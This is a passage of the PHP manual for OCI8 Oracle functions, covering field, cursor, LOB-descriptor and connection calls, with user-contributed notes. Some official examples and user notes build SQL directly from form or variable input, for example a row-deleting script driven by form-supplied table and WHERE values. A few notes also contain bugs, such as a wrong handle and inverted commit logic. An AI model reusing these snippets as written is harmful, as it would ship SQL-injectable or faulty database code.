oci_free_statement($stmt);
oci_close($conn);
?>

Notes

Note:

In PHP versions before 5.0.0 you must use ocicolumnsize() instead. This name still can be used, it was left as alias of oci_field_size() for downwards compatability. This, however, is deprecated and not recommended.

See Also

  • oci_num_fields() - Returns the number of result columns in a statement
  • oci_field_name() - Returns the name of a field from the statement

User Contributed Notes

taq at terra dot com dot br 30-Apr-2002 08:19
Using OCIColumnPrecision() I got the correct field size ( not the Oracle 22 fixed value ). Don't know if its the correct behaviour, but it works. :)
rudi at darx dot com 16-Jul-2000 10:19
Just a note regarding the size of Oracle  NUMBERS will always return 22 as their "size".

This seems to be an Oracle feature. The rest of the documentation is in bug5156.
oci_field_scale
oci_field_type_raw
OCI8 Functions


Tell the raw Oracle data type of the field

oci_field_size
oci_field_type
OCI8 Functions
PHP Manual

oci_field_type_raw

(PHP 5, PECL OCI8 >= 1.1.0)

oci_field_type_raw — Tell the raw Oracle data type of the field

Description

int oci_field_type_raw ( resource $statement , int $field )

Returns Oracle's raw data type of the field.

However, if you want to get field's type, then oci_field_type() will suit you better.

Parameters

statement

A valid OCI statement identifier.

field

Can be the field's index (1-based) or name.

Return Values

Returns Oracle's raw data type as a string, or FALSE on errors.

Notes

Note:

In PHP versions before 5.0.0 you must use ocicolumntyperaw() instead. This name still can be used, it was left as alias of oci_field_type_raw() for downwards compatability. This, however, is deprecated and not recommended.

User Contributed Notes

There are no user contributed notes for this page.
oci_field_size
oci_field_type
OCI8 Functions


Returns field's data type

oci_field_type_raw
oci_free_statement
OCI8 Functions
PHP Manual

oci_field_type

(PHP 5, PECL OCI8 >= 1.1.0)

oci_field_type — Returns field's data type

Description

mixed oci_field_type ( resource $statement , int $field )

Returns a field's data type.

Parameters

statement

A valid OCI statement identifier.

field

Can be the field's index (1-based) or name.

Return Values

Returns the field data type as a string, or FALSE on errors.

Return Values

Example #1 oci_field_type() example

<?php
$conn = oci_connect("scott", "tiger");
$stmt = oci_parse($conn, "SELECT * FROM emp");
oci_execute($stmt);

echo "<table border=\"1\">";
echo "<tr>";
echo "<th>Name</th>";
echo "<th>Type</th>";
echo "<th>Length</th>";
echo "</tr>";

$ncols = oci_num_fields($stmt);

for ($i = 1; $i <= $ncols; $i++) {
    $column_name  = oci_field_name($stmt, $i);
    $column_type  = oci_field_type($stmt, $i);
    $column_size  = oci_field_size($stmt, $i);

    echo "<tr>";
    echo "<td>$column_name</td>";
    echo "<td>$column_type</td>";
    echo "<td>$column_size</td>";
    echo "</tr>";
}

echo "</table>\n";

oci_free_statement($stmt);
oci_close($conn);
?>

Notes

Note:

In PHP versions before 5.0.0 you must use ocicolumntype() instead. This name still can be used, it was left as alias of oci_field_type() for downwards compatability. This, however, is deprecated and not recommended.

See Also

  • oci_num_fields() - Returns the number of result columns in a statement
  • oci_field_name() - Returns the name of a field from the statement
  • oci_field_size() - Returns field's size

User Contributed Notes

There are no user contributed notes for this page.
oci_field_type_raw
oci_free_statement
OCI8 Functions


Frees all resources associated with statement or cursor

oci_field_type
oci_internal_debug
OCI8 Functions
PHP Manual

oci_free_statement

(PHP 5, PECL OCI8 >= 1.1.0)

oci_free_statement — Frees all resources associated with statement or cursor

Description

bool oci_free_statement ( resource $statement )

Frees resources associated with Oracle's cursor or statement, which was received from as a result of oci_parse() or obtained from Oracle.

Parameters

statement

A valid OCI statement identifier.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

Jen M. 02-Oct-2008 11:05
oci_free_statement doesn't always free up cursors.  I had a query where I performed the following functions in a loop:

OCIParse
OCIExecute
Oci_fetch_assoc
(Grab some field values)
OciFreeStatement

I didn't specify the use of a cursor, but ran into a "maximum
open cursors exceeded" error.  Within my code, I had one "select * from table_with_lobs" query.  When I changed the query to be "select a, b, c, from table_with_lobs" (where I specified the actual column names and where those columns were not LOB fields) the error message went away and I didn't have to resort to upping the max_open_cursors value in Oracle.
rada at instinctive dot it 04-Mar-2008 08:46
If you are using cursors, make sure to free the statement *and* the cursor, especially if there is a possibility of running the proc/cursor again (e.g. with different parameters).

<?php

    oci_execute($stmt);
    oci_execute($crsr);

    // iterate through cursor...

    oci_free_statement($stmt);
    oci_free_statement($crsr);
?>

You need to do it explicitly, closing connection for example does not seem to release the cursor.
oci_field_type
oci_internal_debug
OCI8 Functions


Enables or disables internal debug output

oci_free_statement
oci_lob_copy
OCI8 Functions
PHP Manual

oci_internal_debug

(PHP 5, PECL OCI8 >= 1.1.0)

oci_internal_debug — Enables or disables internal debug output

Description

void oci_internal_debug ( bool $onoff )

Enables or disables internal debug output.

Parameters

onoff

Set this to FALSE to turn debug output off or TRUE to turn it on.

Return Values

No value is returned.

Notes

Note:

In PHP versions before 5.0.0 you must use ociinternaldebug() instead. This name still can be used, it was left as alias of oci_internal_debug() for downwards compatability. This, however, is deprecated and not recommended.

User Contributed Notes

There are no user contributed notes for this page.
oci_free_statement
oci_lob_copy
OCI8 Functions


Copies large object

oci_internal_debug
oci_lob_is_equal
OCI8 Functions
PHP Manual

oci_lob_copy

(PHP 5, PECL OCI8 >= 1.1.0)

oci_lob_copy — Copies large object

Description

bool oci_lob_copy ( OCI-Lob $lob_to , OCI-Lob $lob_from [, int $length = 0 ] )

Copies a large object or a part of a large object to another large object. Old LOB-recipient data will be overwritten.

If you need to copy a particular part of a LOB to a particular position of a LOB, use OCI-Lob::seek() to move LOB internal pointers.

Parameters

lob_to

The destination LOB.

lob_from

The copied LOB.

length

Indicates the length of data to be copied.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
oci_internal_debug
oci_lob_is_equal
OCI8 Functions


Compares two LOB/FILE locators for equality

oci_lob_copy
oci_new_collection
OCI8 Functions
PHP Manual

oci_lob_is_equal

(PHP 5, PECL OCI8 >= 1.1.0)

oci_lob_is_equal — Compares two LOB/FILE locators for equality

Description

bool oci_lob_is_equal ( OCI-Lob $lob1 , OCI-Lob $lob2 )

Compares two LOB/FILE locators.

Parameters

lob1

A LOB identifier.

lob2

A LOB identifier.

Return Values

Returns TRUE if these objects are equal, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.
oci_lob_copy
oci_new_collection
OCI8 Functions


Allocates new collection object

oci_lob_is_equal
oci_new_connect
OCI8 Functions
PHP Manual

oci_new_collection

(PHP 5, PECL OCI8 >= 1.1.0)

oci_new_collection — Allocates new collection object

Description

OCI-Collection oci_new_collection ( resource $connection , string $tdo [, string $schema = NULL ] )

Allocates a new collection object.

Parameters

connection

An Oracle connection identifier, returned by oci_connect() or oci_pconnect().

tdo

Should be a valid named type (uppercase).

schema

Should point to the scheme, where the named type was created. The name of the current user is the default value.

Return Values

Returns a new OCICollection object or FALSE on error.

Notes

Note:

In PHP versions before 5.0.0 you must use ocinewcollection() instead. This name still can be used, it was left as alias of oci_new_collection() for downwards compatability. This, however, is deprecated and not recommended.

User Contributed Notes

There are no user contributed notes for this page.
oci_lob_is_equal
oci_new_connect
OCI8 Functions


Connect to the Oracle server using a unique connection

oci_new_collection
oci_new_cursor
OCI8 Functions
PHP Manual

oci_new_connect

(PHP 5, PECL OCI8 >= 1.1.0)

oci_new_connect — Connect to the Oracle server using a unique connection

Description

resource oci_new_connect ( string $username , string $password [, string $connection_string [, string $character_set [, int $session_mode ]]] )

Establishes a new connection to an Oracle server and logs on.

Unlike oci_connect() and oci_pconnect(), oci_new_connect() does not cache connections and will always return a brand-new freshly opened connection handle. This is useful if your application needs transactional isolation between two sets of queries.

Parameters

username

The Oracle user name.

password

The password for username.

connection_string

Contains the Oracle instance to connect to. It can be an » Easy Connect string, or a Connect Name from the tnsnames.ora file, or the name of a local Oracle instance.

If not specified, PHP uses environment variables such as TWO_TASK (on Linux) or LOCAL (on Windows) and ORACLE_SID to determine the Oracle instance to connect to.

To use the Easy Connect naming method, PHP must be linked with Oracle 10g or greater Client libraries. The Easy Connect string for Oracle 10g is of the form: [//]host_name[:port][/service_name]. With Oracle 11g, the syntax is: [//]host_name[:port][/service_name][:server_type][/instance_name]. Service names can be found by running the Oracle utility lsnrctl status on the database server machine.

The tnsnames.ora file can be in the Oracle Net search path, which includes $ORACLE_HOME/network/admin and /etc. Alternatively set TNS_ADMIN so that $TNS_ADMIN/tnsnames.ora is read. Make sure the web daemon has read access to the file.

character_set

Determines the character set used by the Oracle Client libraries. The character set does not need to match the character set used by the database. If it doesn't match, Oracle will do its best to convert data to and from the database character set. Depending on the character sets this may not give usable results. Conversion also adds some time overhead.

If not specified, the Oracle Client libraries determine a character set from the NLS_LANG environment variable.

Passing this parameter can reduce connection time.

session_mode

This parameter is available since version PHP 5 (PECL OCI8 1.1) and accepts the following values: OCI_DEFAULT, OCI_SYSOPER and OCI_SYSDBA. If either OCI_SYSOPER or OCI_SYSDBA were specified, this function will try to establish privileged connection using external credentials. Privileged connections are disabled by default. To enable them you need to set oci8.privileged_connect to On.

PHP 5.3 (PECL OCI8 1.3.4) introduced the OCI_CRED_EXT mode value. This tells Oracle to use External or OS authentication, which must be configured in the database. The OCI_CRED_EXT flag can only be used with username of "/" and a empty password. oci8.privileged_connect may be On or Off.

OCI_CRED_EXT may be combined with the OCI_SYSOPER or OCI_SYSDBA modes.

OCI_CRED_EXT is not supported on Windows for security reasons.

Return Values

Returns a connection identifier or FALSE on error.

Examples

The following demonstrates how you can separate connections.

Example #1 oci_new_connect() example

<?php
echo "<html><pre>";
$db = "";

$c1 = oci_connect("scott", "tiger", $db);
$c2 = oci_new_connect("scott", "tiger", $db);

function create_table($conn)
{
  $stmt = oci_parse($conn, "create table scott.hallo (test
varchar2(64))");
  oci_execute($stmt);
  echo $conn . " created table\n\n";
}

function drop_table($conn)
{
  $stmt = oci_parse($conn, "drop table scott.hallo");
  oci_execute($stmt);
  echo $conn . " dropped table\n\n";
}

function insert_data($conn)
{
  $stmt = oci_parse($conn, "insert into scott.hallo
            values('$conn' || ' ' || to_char(sysdate,'DD-MON-YY HH24:MI:SS'))");
  oci_execute($stmt, OCI_DEFAULT);
  echo $conn . " inserted hallo\n\n";
}

function delete_data($conn)
{
  $stmt = oci_parse($conn, "delete from scott.hallo");
  oci_execute($stmt, OCI_DEFAULT);
  echo $conn . " deleted hallo\n\n";
}

function commit($conn)
{
  oci_commit($conn);
  echo $conn . " committed\n\n";
}

function rollback($conn)
{
  oci_rollback($conn);
  echo $conn . " rollback\n\n";
}

function select_data($conn)
{
  $stmt = oci_parse($conn, "select * from scott.hallo");
  oci_execute($stmt, OCI_DEFAULT);
  echo $conn . "----selecting\n\n";
  while (oci_fetch($stmt)) {
    echo $conn . " <" . oci_result($stmt, "TEST") . ">\n\n";
  }
  echo $conn . "----done\n\n";
}

create_table($c1);
insert_data($c1);

select_data($c1);
select_data($c2);

rollback($c1);

select_data($c1);
select_data($c2);

insert_data($c2);
commit($c2);

select_data($c1);

delete_data($c1);
select_data($c1);
select_data($c2);
commit($c1);

select_data($c1);
select_data($c2);

drop_table($c1);
echo "</pre></html>";
?>

Notes

Note:

In PHP versions before 5.0.0 you must use ocinlogon() instead. The old function name can still be used in current versions, however it is deprecated and not recommended.

See Also

  • oci_connect() - Connect to an Oracle database
  • oci_pconnect() - Connect to an Oracle database using a persistent connection

User Contributed Notes

There are no user contributed notes for this page.
oci_new_collection
oci_new_cursor
OCI8 Functions


Allocates and returns a new cursor (statement handle)

oci_new_connect
oci_new_descriptor
OCI8 Functions
PHP Manual

oci_new_cursor

(PHP 5, PECL OCI8 >= 1.1.0)

oci_new_cursor — Allocates and returns a new cursor (statement handle)

Description

resource oci_new_cursor ( resource $connection )

Allocates a new statement handle on the specified connection.

Parameters

connection

An Oracle connection identifier, returned by oci_connect() or oci_pconnect().

Return Values

Returns a new statement handle, or FALSE on error.

Examples

Example #1 Using REF CURSOR in an Oracle's stored procedure

<?php
// suppose your stored procedure info.output returns a ref cursor in :data

$conn = oci_connect("scott", "tiger");
$curs = oci_new_cursor($conn);
$stmt = oci_parse($conn, "begin info.output(:data); end;");

oci_bind_by_name($stmt, "data", $curs, -1, OCI_B_CURSOR);
oci_execute($stmt);
oci_execute($curs);

while ($data = oci_fetch_row($curs)) {
    var_dump($data);
}

oci_free_statement($stmt);
oci_free_statement($curs);
oci_close($conn);
?>

Example #2 Using REF CURSOR in an Oracle's select statement

<?php
echo "<html><body>";
$conn = oci_connect("scott", "tiger");
$count_cursor = "CURSOR(select count(empno) num_emps from emp " .
                "where emp.deptno = dept.deptno) as EMPCNT from dept";
$stmt = oci_parse($conn, "select deptno,dname,$count_cursor");

oci_execute($stmt);
echo "<table border=\"1\">";
echo "<tr>";
echo "<th>DEPT NAME</th>";
echo "<th>DEPT #</th>";
echo "<th># EMPLOYEES</th>";
echo "</tr>";

while ($data = oci_fetch_assoc($stmt)) {
    echo "<tr>";
    $dname  = $data["DNAME"];
    $deptno = $data["DEPTNO"];
    echo "<td>$dname</td>";
    echo "<td>$deptno</td>";
    oci_execute($data["EMPCNT"]);
    while ($subdata = oci_fetch_assoc($data["EMPCNT"])) {
        $num_emps = $subdata["NUM_EMPS"];
        echo  "<td>$num_emps</td>";
    }
    echo "</tr>";
}
echo "</table>";
echo "</body></html>";
oci_free_statement($stmt);
oci_close($conn);
?>

Notes

Note:

In PHP versions before 5.0.0 you must use ocinewcursor() instead. This name still can be used, it was left as alias of oci_new_cursor() for downwards compatability. This, however, is deprecated and not recommended.

User Contributed Notes

sixd at php dot net 27-Jan-2010 10:41
Oracle 11.2 introduced support for REF CURSOR prefetching
sixd at php dot net 05-Nov-2008 12:13
Because OCI8 uses "prefetching" to greatly improve returning query results, but Oracle doesn't support prefetching for REF CURSORs, application performance using REF CURSORs can be greatly improved by writing a PL/SQL function that pulls data from the REF CURSOR and PIPEs the output. The new function can be queried in a SELECT as if it were a table.  See http://blogs.oracle.com/opal/2008/11/
converting_ref_cursor_to_pipe.html
oci_new_connect
oci_new_descriptor
OCI8 Functions


Initializes a new empty LOB or FILE descriptor

oci_new_cursor
oci_num_fields
OCI8 Functions
PHP Manual

oci_new_descriptor

(PHP 5, PECL OCI8 >= 1.1.0)

oci_new_descriptor — Initializes a new empty LOB or FILE descriptor

Description

OCI-Lob oci_new_descriptor ( resource $connection [, int $type = OCI_DTYPE_LOB ] )

Allocates resources to hold descriptor or LOB locator.

Parameters

connection

An Oracle connection identifier, returned by oci_connect() or oci_pconnect().

type

Valid values for type are: OCI_DTYPE_FILE, OCI_DTYPE_LOB and OCI_DTYPE_ROWID.

Return Values

Returns a new LOB or FILE descriptor on success, FALSE on error.

Examples

Example #1 oci_new_descriptor() example

<?php
/* This script is designed to be called from a HTML form.
 * It expects $user, $password, $table, $where, and $commitsize
 * to be passed in from the form.  The script then deletes
 * the selected rows using the ROWID and commits after each
 * set of $commitsize rows. (Use with care, there is no rollback)
 */
$conn = oci_connect($user, $password);
$stmt = oci_parse($conn, "select rowid from $table $where");
$rowid = oci_new_descriptor($conn, OCI_D_ROWID);
oci_define_by_name($stmt, "ROWID", $rowid);
oci_execute($stmt);
while (oci_fetch($stmt)) {
    $nrows = oci_num_rows($stmt);
    $delete = oci_parse($conn, "delete from $table where ROWID = :rid");
    oci_bind_by_name($delete, ":rid", $rowid, -1, OCI_B_ROWID);
    oci_execute($delete);
    echo "$nrows\n";
    if (($nrows % $commitsize) == 0) {
        oci_commit($conn);
    }
}
$nrows = oci_num_rows($stmt);
echo "$nrows deleted...\n";
oci_free_statement($stmt);
oci_close($conn);
?>
<?php
    /* This script demonstrates file upload to LOB columns
     * The formfield used for this example looks like this
     * <form action="upload.php" method="post" enctype="multipart/form-data">
     * <input type="file" name="lob_upload" />
     * ...
     */
  if (!isset($lob_upload) || $lob_upload == 'none'){
?>
<form action="upload.php" method="post" enctype="multipart/form-data">
Upload file: <input type="file" name="lob_upload" /><br />
<input type="submit" value="Upload" /> - <input type="reset" value="Reset" />
</form>
<?php
  } else {

     // $lob_upload contains the temporary filename of the uploaded file

     // see also the features section on file upload,
     // if you would like to use secure uploads

     $conn = oci_connect($user, $password);
     $lob = oci_new_descriptor($conn, OCI_D_LOB);
     $stmt = oci_parse($conn, "insert into $table (id, the_blob)
               values(my_seq.NEXTVAL, EMPTY_BLOB()) returning the_blob into :the_blob");
     oci_bind_by_name($stmt, ':the_blob', $lob, -1, OCI_B_BLOB);
     oci_execute($stmt, OCI_DEFAULT);
     if ($lob->savefile($lob_upload)){
        oci_commit($conn);
        echo "Blob successfully uploaded\n";
     }else{
        echo "Couldn't upload Blob\n";
     }
     oci_free_descriptor($lob);
     oci_free_statement($stmt);
     oci_close($conn);
  }
?>

Example #2 oci_new_descriptor() example

<?php
/* Calling PL/SQL stored procedures which contain clobs as input
 * parameters (PHP 4 >= 4.0.6).
 * Example PL/SQL stored procedure signature is:
 *
 * PROCEDURE save_data
 *   Argument Name                  Type                    In/Out Default?
 *   ------------------------------ ----------------------- ------ --------
 *   KEY                            NUMBER(38)              IN
 *   DATA                           CLOB                    IN
 *
 */

$conn = oci_connect($user, $password);
$stmt = oci_parse($conn, "begin save_data(:key, :data); end;");
$clob = oci_new_descriptor($conn, OCI_D_LOB);
oci_bind_by_name($stmt, ':key', $key);
oci_bind_by_name($stmt, ':data', $clob, -1, OCI_B_CLOB);
$clob->write($data);
oci_execute($stmt, OCI_DEFAULT);
oci_commit($conn);
$clob->free();
oci_free_statement($stmt);
?>

Notes

Note:

In PHP versions before 5.0.0 you must use ocinewdescriptor() instead. This name still can be used, it was left as alias of oci_new_descriptor() for downwards compatability. This, however, is deprecated and not recommended.

See Also

  • oci_bind_by_name() - Binds a PHP variable to an Oracle placeholder

User Contributed Notes

ajitsingh4u at gmail dot com 09-May-2008 06:31
<?php
// calling stored procedure to get clob data type (we use to get xml from oracle)

error_reporting(E_ALL ^ E_NOTICE);

$conn = oci_connect($user, $password);

$sql = "BEGIN sp_employee_xml_data_select(:result); END;";
$stmt = oci_parse($conn , $sql);

$objClob = oci_new_descriptor($conn, OCI_D_LOB);
oci_bind_by_name($stmt, ':result', $objClob, -1, OCI_B_CLOB);

oci_execute($stmt, OCI_DEFAULT);
$xmlData = $objClob->load($result);

$objClob->free();
oci_free_statement($stmt);

echo $xmlData;

?>
gpayne at galenaparkisd com 30-Aug-2007 06:51
If you just want to retrieve an auto-increment field like an integer, you don't have to use the oci_new_descriptor function:

   $dbh = ociplogon("username","pw","sid");

   $query = "INSERT INTO employees (name) VALUES ('Jones') RETURNING employee_no INTO :employee_no";
   $stmt = oci_parse($dbh, $query);

   // oci_new_descriptor not necessary...

   // Bind the variable to the parsed statement.
   // I used '8' as the minimum length - otherwise it was setting the default length to '1', so when an employee_no like 18366 was returned, the variable would be set to '1' (the first digit), so make sure you set a length.
   oci_bind_by_name($stmt, ":employee_no", $employee_no, 8);
   oci_execute($stmt, OCI_DEFAULT);

   // Commit the change
   oci_commit($dbh);

   // Free resources associated with the statement
   oci_free_statement($stmt);

  print "new employee no is: $employee_no";
Ben Hubbard ben at vonik dot com 07-Apr-2006 09:57
Here is another example of how to insert a BLOB into table using a PL/SQL function.

Oracle Database Code:

create table blob_table ( the_blob blob);

create or replace function insert_blob(out_blob out blob)
    return integer is
    begin
       insert into blob_table values (EMPTY_BLOB())
         return the_blob into out_blob;
       return 0; /* Success */
    end insert_blob;

PHP Code:

<?php
  $iResult = -1;
  $strTestData = 'Testing 123';
  $conn = oci_connect($user, $password);
  $stmt = oci_parse($conn, "begin :RES := insert_blob(:OUT_BLOB); end;");

  $objBlob = oci_new_descriptor($conn, OCI_D_LOB);
  oci_bind_by_name($stmt, ":RES", $iResult);
  oci_bind_by_name($stmt, ":OUT_BLOB", $objBlob, -1, OCI_B_BLOB);
  oci_execute($stmt, OCI_DEFAULT);
  $objBlob->write($strTestData);
  oci_commit($conn);
  $objBlob->free();
  oci_free_statement($stmt);
?>
kirt at diagonalsoftware dot com 27-Jul-2005 07:43
Here is an example of retrieving a CLOB as an output parameter from a stored procedure. This is a bit hack-y and maybe there's a cleaner way to do this, but I couldn't find one. The following definitely works with Oracle 9:

// the query to call the procedure, which includes declaring the
// output parameter and assigning the result to a variable to be bound.
$qry = '
declare clob_out clob;
begin
  myprocedure(someparam_in, clob_out);
  :myclob := clob_out;
end;
';

// parse the query and bind the 'myclob' variable
$sth = OCIParse($conn,$qry);
$myclob = OCINewDescriptor($conn,OCI_D_LOB);
OCIBindByName($sth,":myclob",$myclob,-1,OCI_B_CLOB);

OCIExecute($sth);

// display the results
echo $myclob->load();
<Serg Petrenko> pserg at inkfrog dot com 08-Jun-2005 09:22
How to insert big XML data as CLOB into table with XMLType field.

<?php

//CREATE TABLE sometable(
//id number(8) not null,
//record XMLType
//) XMLTYPE COLUMN record STORE AS OBJECT RELATIONAL
//XMLSCHEMA "someschema" ELEMENT "some_element";
//

$sql = "INSERT INTO sometable(id, record) VALUES(some_sequqnce.nextval, sys.xmltype.createxml(:rec)) RETURNING ID INTO :rid";
$stmt = OCIParse($ora_conn,$sql);
$clob = OCINewDescriptor($ora_conn, OCI_D_LOB);
$rowid = OCINewDescriptor($ora_conn,OCI_D_ROWID);
OCIBindByName($stmt, ':rec', &$clob, -1,OCI_B_CLOB);
OCIBindByName($stmt, ':rid', $rowid, -1);
$clob->WriteTemporary($xml,OCI_TEMP_CLOB);
$success = OCIExecute($stmt,OCI_DEFAULT);
if(!$success) {
OCICommit($ora_conn);
}
OCIFreeStatement($stmt);
OCIFreeDesc($lob);

?>

I hope it will help :)
cyrill@_malevanov_dot_spb_dot_ru 10-May-2004 01:05
Passing CLOB to stored procedure and retrieve CLOB too (function lobinout(a in clob) return clob)

<?
    error_reporting(1+2+4+8);
    $conn = OCILogon('batdtd', 'batdtd', 'batxml');

    $lobin = OCINewDescriptor($conn, OCI_D_LOB);
    $lobout = OCINewDescriptor($conn, OCI_D_LOB);

    $stmt = OCIParse($conn, "declare rs clob; begin :rs := lobinout(:par); end;");
    $lob_data = 'abcdefgh';

    echo "binding lobin...";
    OCIBindByName($stmt, ':par', $lobin, -1, OCI_B_CLOB);

    echo "done<br>binding rs...";

    OCIBindByName($stmt, ':rs', $lobout, -1, OCI_B_CLOB);

    echo "done<br>writing temp lob...";
             // here we pass data to func
    $lobin -> WriteTemporary($lob_data);
    echo "done<br>executing...";

    OCIExecute($stmt, OCI_DEFAULT);
             // here we load data returned from func
    echo "done<br>rs = ".$lobout->load();
    OCICommit($conn);
    $lobin -> free();
    $lobout -> free();
    OCIFreeStatement($stmt);
    OCILogoff($conn);
?>
cjbj at hotmail dot com 16-Mar-2004 10:55
In PHP5 the way Example 2 passes a CLOB bind variable as an input
parameter to a PL/SQL procedure can be extended to BLOBs.

The critical change is:

    OCIBindByName($stmt, ':data', $blob, -1, OCI_B_BLOB);
    $blob->WriteTemporary($data, OCI_B_BLOB);

This doesn't work for me in PHP4.  I believe it is because the
implementation of OCIWriteTemporaryLob() always binds as a CLOB.
(This is true as of php4-STABLE-200403170230).  In PHP5 the interface
has changed and a type parameter is permitted.
Nathan Rogers 05-Nov-2003 03:35
I found another method of inserting/updating lob data.  It works the same was as passing lob parameters to a stored procedure and avoids the need for a RETURNING clause.
    $lob = OCINewDescriptor($conn, OCI_D_LOB);
    $stmt = OCIParse($conn,"insert into $table (id, the_blob)
               values(my_seq.NEXTVAL, :the_blob)");
    OCIBindByName($stmt, ':the_blob', &$lob, -1, OCI_B_BLOB);
    $lob->WriteTemporary($data);
    OCIExecute($stmt, OCI_DEFAULT);
    $lob->close();
    $lob->free();
    OCICommit($conn);

There are some cases involving triggers where you can't use a RETURNING clause, so this method can come in handy.  The case where I needed it was updating a view that had an instead-of update trigger.
Maxwell_Smart (at) ThePentagon (dot) com 23-Sep-2003 02:13
Just a note. When INSERTing a CLOB, if a VALUES clause is used, Oracle notes: You cannot initialize an internal LOB attribute in an object with a value other than empty or null. That is, you cannot use a literal.

That's why all the examples here INSERT an EMPTY_CLOB(), and use RETURNING to grab the pointer.

However, a CLOB can also be INSERTed via a SELECT statement, and that won't require any descriptors.

Example:

$Clob = Str_Replace("'", "''", $Clob);

OCIParse($DB, "INSERT INTO My_Table (My_Clob) SELECT '$Clob' FROM Dual");

This, of course, allows the use of a WHERE clause as well.
tca at engineer dot com 25-Oct-2002 01:33
Two examples of retrieving CLOBs from the database.  They are almost identical.  The first is using a package(and cursor) which is how I interface to Oracle at work, and the second is using straight SQL, which most people post examples in.

I also convert the case from upper to lower, since that is how I prefer to work with assoc arrays...

Instead of using the get_class() function you could use the OCIColumnType() function which (in this case) would return 'CLOB' as a result...

/**
* Example 1
*
* Using a PL/SQL package and cursor
*
*/
$cursor=':p_cur';
$sql2="begin clobPackage.getClob($cursor); end;";
$curs=OCINewCursor($conn);
$stmt=OCIParse($conn,$sql2);
OCIBindByName($stmt,$cursor,&$curs,-1,OCI_B_CURSOR);
OCIExecute($stmt,OCI_DEFAULT);
OCIExecute($curs,OCI_DEFAULT);
$x=0;
while(OCIFetch($curs)){
  $cols=OCINumCols($curs);
  for($i=1;$i<=$cols;$i++){
    $column_name=OCIColumnName($curs,$i);
    if(is_object($tmp=OCIResult($curs,$i))&&get_class($tmp)=='OCI-Lob'){
      $column_value=$tmp->load();
    }else{
      $column_value=$tmp;
    }
    $result[$x][strtolower($column_name)]=trim($column_value);
  }
  $x++;
}
OCICommit($conn);

/**
* Example 2
*
* Using a SELECT
*
*/
$query="SELECT a_num, a_clob FROM clob_test";
$stmt=OCIParse($conn,$query);
OCIExecute($stmt,OCI_DEFAULT);
$x=0;
while(OCIFetch($stmt)){
  $ncols=OCINumCols($stmt);
  for($i=1;$i<=$ncols;$i++){
    $column_name=OCIColumnName($stmt,$i);
    if(is_object($tmp=OCIResult($curs,$i))&&get_class($tmp)=='OCI-Lob'){
      $column_value=$tmp->load();
    }else{
      $column_value=$tmp;
    }
    $result[$x][strtolower($column_name)]=trim($column_value);
  }
  $x++;
}
OCICommit($conn);

I hope someone finds this useful.

Cheers,
Keith.
sozturk at emediamillworks dot com 09-Apr-2002 03:30
I had the same problem with updating the lobs with shorter content as in one of the notes above. The addition of "\0" at the end of the replacement text didn't help either. But the following worked perfectly:

$sql = "UPDATE sometable SET lob_col = EMPTY_LOB() WHERE key_col = $key RETURNING lob_col INTO :lob";
$stmt = OCIParse($conn,$sql);
$lob = OCINewDescriptor($conn,OCI_D_LOB);
OCIBindByName($stmt,':lob',&$lob,-1,OCI_B_BLOB);
OCIExecute($stmt,OCI_DEFAULT);
$lob->save($sometext);
$lob->free();
aidanpeiser at yahoo dot com 27-Mar-2002 11:12
another way to display your clob details !

    $query = "select * from Your_clob_table";
    $stmt = OCIParse($conn, $query);
    ociexecute($stmt);

        while ( OCIFetch($stmt))
        {
         $lob = OCIResult($stmt,"CLOB_MESSAGE");
         $CLOB_MESSAGE = $lob->load();
         echo $CLOB_MESSAGE;
        }

this works,
moom_mong at yahoo dot com 18-Dec-2001 10:54
To read a lob, other way:

$sql = OCIParse("select * from table_with_lob_field");
OCIExecute($sql, OCI_DEFAULT);
while ( OCIFetch($sql)) {
 $o = ociresult($sql,"loc_field_name");
 $loc_field_name = $o->load();
 print $loc_field_name;
};
jcd at iddg dot com 03-Mar-2000 02:42
[Editor's note: don't use '&' for parameters in bind calls in PHP 5]

The code up above is somewhat correct... here's an example of how I got a CLOB to work

<?php
function insert_adinfo($AdInfoID, $MagazineType, $Publish, $DatePost, $BodyText)
{
   global $db;

    // Insert record into database
    $clob = OCINewDescriptor($db, OCI_D_LOB);
    $stmt = OCIParse($db,"insert into tblAdInfo values ($AdInfoID,                  $MagazineType, '$Publish', to_date('$DatePost', 'YYYY-MM-DD'),                  EMPTY_CLOB()) returning BodyText into :the_blob");
    OCIBindByName($stmt, ':the_blob', &$clob, -1, OCI_B_CLOB);
    OCIExecute($stmt, OCI_DEFAULT);
    if($clob->save($BodyText)){
        OCICommit($db);
    }else{
        echo "Problems: Couldn't upload Clob\n";
    }

   OCIFreeDescriptor($clob);
   OCIFreeStatement($stmt);
}
?>
oci_new_cursor
oci_num_fields
OCI8 Functions


Returns the number of result columns in a statement

oci_new_descriptor
oci_num_rows
OCI8 Functions
PHP Manual

oci_num_fields

(PHP 5, PECL OCI8 >= 1.1.0)

oci_num_fields — Returns the number of result columns in a statement

Description

int oci_num_fields ( resource $statement )

Gets the number of columns in the given statement.

Parameters

statement

A valid OCI statement identifier.

Return Values

Returns the number of columns as an integer, or FALSE on errors.

Examples

Example #1 oci_num_fields() example

<?php
$conn = oci_connect("scott", "tiger");
$stmt = oci_parse($conn, "select * from emp");

oci_execute($stmt);

while (oci_fetch($stmt)) {
    echo "\n";
    $ncols = oci_num_fields($stmt);
    for ($i = 1; $i <= $ncols; $i++) {
        $column_name  = oci_field_name($stmt, $i);
        $column_value = oci_result($stmt, $i);
        echo $column_name . ': ' . $column_value . "\n";
    }
    echo "\n";
}

oci_free_statement($stmt);
oci_close($conn);
?>

Notes

Note:

In PHP versions before 5.0.0 you must use ocinumcols() instead. This name still can be used, it was left as alias of oci_num_fields() for downwards compatability. This, however, is deprecated and not recommended.

User Contributed Notes

jnield at impole dot com 18-Nov-1999 07:43
The following is not immediately obvious:

If you need the number of columns in a REF CURSOR returned from a PL/SQL procedure, you need to use OCINumColumns() on the cursor handle returned by OCINewCursor after it is bound and executed, not the statement handle. Same applies for OCIColumnName() and friends.
oci_new_descriptor
oci_num_rows
OCI8 Functions


Returns number of rows affected during statement execution

oci_num_fields
oci_parse
OCI8 Functions
PHP Manual

oci_num_rows

(PHP 5, PECL OCI8 >= 1.1.0)

oci_num_rows — Returns number of rows affected during statement execution

Description

int oci_num_rows ( resource $statement )

Gets the number of rows affected during statement execution.

Parameters

statement

A valid OCI statement identifier.

Return Values

Returns the number of rows affected as an integer, or FALSE on errors.

Examples

Example #1 oci_num_rows() example

<?php
